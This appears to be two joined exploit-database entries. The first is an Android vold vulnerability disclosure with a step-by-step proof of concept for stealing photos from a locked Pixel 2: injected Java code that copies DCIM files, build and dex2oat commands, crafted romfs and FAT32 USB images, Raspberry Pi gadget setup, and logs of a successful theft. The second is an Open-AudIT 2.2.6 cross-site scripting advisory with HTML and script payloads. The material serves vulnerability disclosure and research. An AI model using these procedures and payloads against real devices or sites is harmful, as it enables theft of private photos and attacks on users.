05-29 20:41:26.263 391 398 V vold : /system/bin/fsck_msdos
05-29 20:41:26.263 391 398 V vold : -p
05-29 20:41:26.263 391 398 V vold : -f
05-29 20:41:26.263 391 398 V vold : /dev/block/vold/public:8,1
05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {652 public:8,1 vfat}
05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {653 public:8,1 ../../data}
05-29 20:41:26.265 813 2039 D VoldConnector: RCV <- {654 public:8,1 TYPE=}
05-29 20:41:26.281 391 398 I fsck_msdos: ** /dev/block/vold/public:8,1
05-29 20:41:26.285 391 398 I fsck_msdos: Invalid sector size: 8995
05-29 20:41:26.286 391 398 I fsck_msdos: fsck_msdos terminated by exit(8)
05-29 20:41:26.286 391 398 E Vold : Filesystem check failed (no filesystem)
05-29 20:41:26.286 391 398 E vold : public:8,1 failed filesystem check
05-29 20:41:26.286 813 2039 D VoldConnector: RCV <- {651 public:8,1 6}
05-29 20:41:26.287 813 2039 D VoldConnector: RCV <- {400 48 Command failed}
05-29 20:41:26.288 2532 2532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}:
05-29 20:41:26.288 2532 2532 D StorageNotification: type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0
05-29 20:41:26.288 2532 2532 D StorageNotification: state=UNMOUNTABLE
05-29 20:41:26.288 2532 2532 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE=
05-29 20:41:26.288 2532 2532 D StorageNotification: path=null internalPath=null
For a relatively harmless example in which vold actually ends up mounting the
device in the wrong place, you can create a vfat partition with label
'UUID="../##':
# mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1
mkfs.fat 4.1 (2017-01-24)
# dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M
200+0 records in
200+0 records out
209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s
198+279 records in
198+279 records out
209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s
Connect it to the Android device again while running strace against vold:
[pid 398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory)
[pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
[pid 398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
[pid 398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0
[pid 398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0
[pid 398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory)
[pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0
Check the results:
bullhead:/ # ls -l /mnt
total 32
drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ##
drwx--x--x 2 root root 40 1970-01-01 04:14 appfuse
drwxr-xr-x 2 root system 40 1970-01-01 04:14 asec
drwxrwx--x 2 system system 40 1970-01-01 04:14 expand
drwxr-x--- 2 root media_rw 40 1970-01-01 04:14 media_rw
drwxr-xr-x 2 root system 40 1970-01-01 04:14 obb
drwx------ 5 root root 100 1970-01-01 04:14 runtime
lrwxrwxrwx 1 root root 21 1970-01-01 04:14 sdcard -> /storage/self/primary
drwx------ 3 root root 60 1970-01-01 04:14 secure
drwxr-xr-x 3 root root 60 1970-01-01 04:14 user
bullhead:/ # mount | grep '##'
/dev/block/vold/public:8,1 on /mnt/## type vfat (rw,dirsync,nosuid,nodev,noexec,noatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro)
When testing with a normal USB stick, the attacker has to choose between using a
vfat filesystem (so that Android is capable of mounting it as external storage)
and using a romfs filesystem (so that the label is long enough to specify
arbitrary paths). However, an attacker who wants to perform more harmful attacks
could use a malicious USB storage device that is capable of delivering different
data for multiple reads from the same location. This way, it would be possible
to deliver a romfs superblock when blkfs is reading, but deliver a vfat
superblock when the kernel is reading. I haven't tested this yet because I don't
yet have the necessary hardware.
When you fix this issue, please don't just fix the injection and/or the
directory traversal. I believe that from a security perspective, a smartphone
should not mount storage devices that are inserted while the screen is locked
(or, more generally, communication with new USB devices should be limited while
the screen is locked). Mounting a USB storage device exposes a lot of code to
the connected device, including partition table parsing, vold logic, blkid, the
kernel's FAT filesystem implementation, and anything on the device that might
decide to read files from the connected storage device.
############################################################
This is a PoC for stealing photos from the DCIM folder of a Pixel 2 running
build OPM2.171026.006.C1 while the device is locked. You will need a Pixel 2 as
victim device, a corresponding AOSP build tree, a Raspberry Pi Zero W (or some
other device you can use for device mode USB), a powered USB hub, and some
cables.
The victim phone must be powered on, the disk encryption keys must be unlocked
(meaning that you must have entered your PIN/passphrase at least once since
boot), and the attack probably won't work if someone has recently (since the
last reboot) inserted a USB stick into the phone.
Configure the Raspberry Pi Zero W such that it is usable for gadget mode
(see e.g. https://gist.github.com/gbaman/50b6cca61dd1c3f88f41).
Apply the following patch to frameworks/base in your AOSP build tree:
=========================================
diff --git a/packages/ExternalStorageProvider./src/com/android/externalstorage/MountReceiver.java b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
index 8a6c7d68525..73be5818da1 100644
--- a/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
+++ b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java
@@ -20,10 +20,38 @@ import android.content.BroadcastReceiver;
import android.content.ContentProviderClient;
import android.content.Context;
import android.content.Intent;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
public class MountReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
+ System.logE("MOUNTRECEIVER CODE INJECTED, GRABBING FILES...");
+ try {
+ File exfiltration_dir = new File("/data/exfiltrated-photos");
+ exfiltration_dir.mkdir();
+ File camera_dir = new File("/storage/emulated/0/DCIM/Camera");
+ File[] camera_files = camera_dir.listFiles();
+ for (File camera_file: camera_files) {
+ System.logE("GRABBING '"+camera_file.getName()+"'");
+ File exfiltrated_file = new File(exfiltration_dir, camera_file.getName());
+ exfiltrated_file.delete();
+ FileInputStream ins = new FileInputStream(camera_file);
+ FileOutputStream outs = new FileOutputStream(exfiltrated_file);
+ byte[] buf = new byte[4096];
+ int len;
+ while ((len=ins.read(buf)) > 0) {
+ outs.write(buf, 0, len);
+ }
+ ins.close();
+ outs.close();
+ }
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ System.logE("INJECTED CODE DONE");
+
final ContentProviderClient client = context.getContentResolver()
.acquireContentProviderClient(ExternalStorageProvider.AUTHORITY);
try {
=========================================
Then build the tree ("lunch aosp_walleye-userdebug", then build with "make").
Zip the classes.dex build artifact of ExternalStorageProvider:
$ zip -jX zipped_dexfile ~/aosp-walleye/out/target/common/obj/APPS/ExternalStorageProvider_intermediates/classes.dex
adding: classes.dex (deflated 49%)
$ mv zipped_dexfile.zip zipped_dexfile
Download the factory image for OPM2.171026.006.C1 and unpack its system partition, e.g. using commands roughly as follows:
$ unzip image-walleye-opm2.171026.006.c1.zip
$ ~/aosp-walleye/out/host/linux-x86/bin/simg2img system.img system.img.raw # convert sparse image to normal
$ echo 'rdump / walleye-opm2.171026.006.c1/unpacked_system/' | debugfs -f- walleye-opm2.171026.006.c1/unpacked_image/system.img.raw 2>/dev/null # extract filesystem image
Now build the classes.dex build artifact into an odex file and a vdex file, linking against boot.art from the factory image:
$ ~/aosp-walleye/out/host/linux-x86/bin/dex2oat --runtime-arg -Xms64m --runtime-arg -Xmx512m --class-loader-context='&' --boot-image=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/framework/boot.art --dex-file=zipped_dexfile --dex-location=/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk --oat-file=package.odex --android-root=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system --instruction-set=arm64 --instruction-set-variant=cortex-a73 --instruction-set-features=default --runtime-arg -Xnorelocate --compile-pic --no-generate-debug-info --generate-build-id --abort-on-hard-verifier-error --force-determinism --no-inline-from=core-oj.jar --compiler-filter=quicken
The resulting vdex file would not be accepted by the phone because of a CRC32
checksum mismatch; to fix it up, compile the attached vdex_crc32_fixup.c and use
it to overwrite the CRC32 checksum with the expected one from the factory image:
$ ./vdex_crc32_fixup package.vdex ~/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk
original crc32: d0473780
new crc32: 84c10ae9
vdex patched
Prepare two disk images, each with a MBR partition table and a single partition.
Their partition tables should be identical.
In the first image's partition, place a fake romfs filesystem that triggers the
vold bug:
# echo -e '-rom1fs-########TYPE="vfat" UUID="../../data"\0' > /dev/sdd1
Format the second image's partition with FAT32, and create the following
directory structure inside that filesystem (the "system@" entries are files, the
rest are directories):
├── dalvik-cache
│ └── arm64
│ ├── system@framework@boot.art
│ ├── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex
│ └── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
├── LOST.DIR
├── misc
│ └── profiles
│ └── cur
│ └── 0
│ └── com.android.externalstorage
├── user
│ └── 0
│ └── com.android.externalstorage
│ └── cache
└── user_de
└── 0
└── com.android.externalstorage
└── code_cache
The three system@ files should have the following contents:
- system@framework@boot.art should be a copy of system/framework/arm64/boot.art
from the system image.
- system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex
should be the generated package.odex.
- system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
should be the fixed-up package.vdex.
Copy the two disk images to the Raspberry Pi Zero W; the fake romfs image should
be named "disk_image_blkid", the image with FAT32 should be named
"disk_image_mount". On the Pi, build the fuse_intercept helper:
$ gcc -Wall fuse_intercept.c `pkg-config fuse --cflags --libs` -o fuse_intercept
Then create a directory "mount" and launch fuse_intercept.
In a second terminal, tell the Pi's kernel to present the contents of the mount
point as a mass storage device:
pi@raspberrypi:~ $ sudo modprobe dwc2
pi@raspberrypi:~ $ sudo modprobe g_mass_storage file=/home/pi/mount/wrapped_image stall=0
To run the attack, connect the Pi to the powered USB hub as a device. Then use
a USB-C OTG adapter (unless you have some fancy USB-C hub, I guess?) to connect
the powered hub to the locked phone, with the phone in USB host mode.
At this point, the phone should first mount the USB stick over
/data, then immediately afterwards launch
com.android.externalstorage/.MountReceiver:
06-05 21:58:20.988 656 665 I Vold : Filesystem check completed OK
06-05 21:58:20.988 1115 1235 D VoldConnector: RCV <- {656 public:8,97 /mnt/media_rw/../../data}
06-05 21:58:20.990 1115 1235 D VoldConnector: RCV <- {655 public:8,97 /mnt/media_rw/../../data}
06-05 21:58:21.004 1115 1235 D VoldConnector: RCV <- {651 public:8,97 2}
06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:33): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0
06-05 21:58:21.006 1115 1235 D VoldConnector: RCV <- {200 7 Command succeeded}
06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:34): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0
06-05 21:58:21.008 1335 1335 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,97}:
06-05 21:58:21.008 1335 1335 D StorageNotification: type=PUBLIC diskId=disk:8,96 partGuid=null mountFlags=0 mountUserId=0
06-05 21:58:21.008 1335 1335 D StorageNotification: state=MOUNTED
06-05 21:58:21.008 1335 1335 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE=
06-05 21:58:21.008 1335 1335 D StorageNotification: path=/mnt/media_rw/../../data internalPath=/mnt/media_rw/../../data
06-05 21:58:21.020 1115 1129 I ActivityManager: Start proc 4478:com.android.externalstorage/u0a35 for broadcast com.android.externalstorage/.MountReceiver
Most processes can't access the vfat filesystem that is now mounted at /data
either because they lack the necessary groups or because of some SELinux rule.
But com.android.externalstorage passes both checks and can read and write (but
not execute) files from the new /data. Bytecode is loaded from
/data/dalvik-cache/arm64/system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
and then interpreted, allowing the attacker to steal photos from the device
(since com.android.externalstorage has access to /storage/emulated/0):
06-05 21:58:21.248 4478 4478 I zygote64: The ClassLoaderContext is a special shared library.
06-05 21:58:21.276 4478 4478 W zygote64: JIT profile information will not be recorded: profile file does not exits.
06-05 21:58:21.278 4478 4478 W asset : failed to open idmap file /data/resource-cache/vendor@overlay@Pixel@PixelThemeOverlay.apk@idmap
06-05 21:58:21.326 4478 4478 D ExternalStorage: After updating volumes, found 3 active roots
06-05 21:58:21.334 4478 4478 E System : MOUNTRECEIVER CODE INJECTED, GRABBING FILES...
06-05 21:58:21.343 4478 4478 E System : GRABBING 'IMG_20180605_212044.jpg'
06-05 21:58:21.419 4478 4478 E System : GRABBING 'IMG_20180605_215031.jpg'
06-05 21:58:21.428 2218 2218 W SQLiteLog: (28) file renamed while open: /data/user/0/com.google.android.gms/databases/config.db
06-05 21:58:21.465 4478 4478 E System : INJECTED CODE DONE
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45192.zip
# Exploit Title: Open-AudIT Community 2.2.6 - Cross-Site Scripting
# Google Dork:NA
# Exploit Date: 2018-08-01
# Exploit Author: Ranjeet Jaiswal
# Vendor Homepage: https://opmantek.com/
# Software Link:https://opmantek.com/network-tools-download/open-audit/
# Affected Version: 2.2.6
# Category: WebApps
# Tested on: Windows 10
# CVE : CVE-2018-14493
# 1. Vendor Description:
# Network Discovery and Inventory Software | Open-AudIT | Opmantek
# Discover what's on your network
# Open-AudIT is the world's leading network discovery, inventory and audit
# program. Used by over 10,000 customers.
# 2. Technical Description:
# Cross-site scripting (XSS) vulnerability on Groups Page in Open-AudIT
# Community edition in 2.2.6 allows remote attackers to inject arbitrary web
# script or HTML in group name,as demonstrated in below POC.
# 3. Proof Of Concept:
# 3.1. Proof of Concept for Injecting html contain
# Step to reproduce.
# Step1:Login in to Open-Audit
# Step2:Go to Group page
# Step3:Select any group which are listed
# Step4:click on "Details tab".
# Step5:In the Name field put the following payload and saveit.
<p>Sorry! We have moved! The new URL is: <a href="http://geektyper.com/
">Open-Audit</a></p>
# Step6:Click on "View Tab" in which payload is put.
# Step7:When user Click on View Tab.User will see redirection hyperlink.
# Step8:When user click on link ,User will be redirected to Attacker or
# malicious website.
# 3.2. Proof of Concept for Injecting web script(Cross-site scripting)
# #Step to reproduce.
# Step1:Login in to Open-Audit
# Step2:Go to Groups page
# Step3:Select any group which are listed
# Step4:click on "Details tab" in which payload is put.
# Step5:In the Name field put the following payload and Saveit.
<script>alert(hack)</script>
# Step6:Click on "View Tab" of group in which payoad is put.
# Step7:When user Click on View Tab an Alert Popup will execute.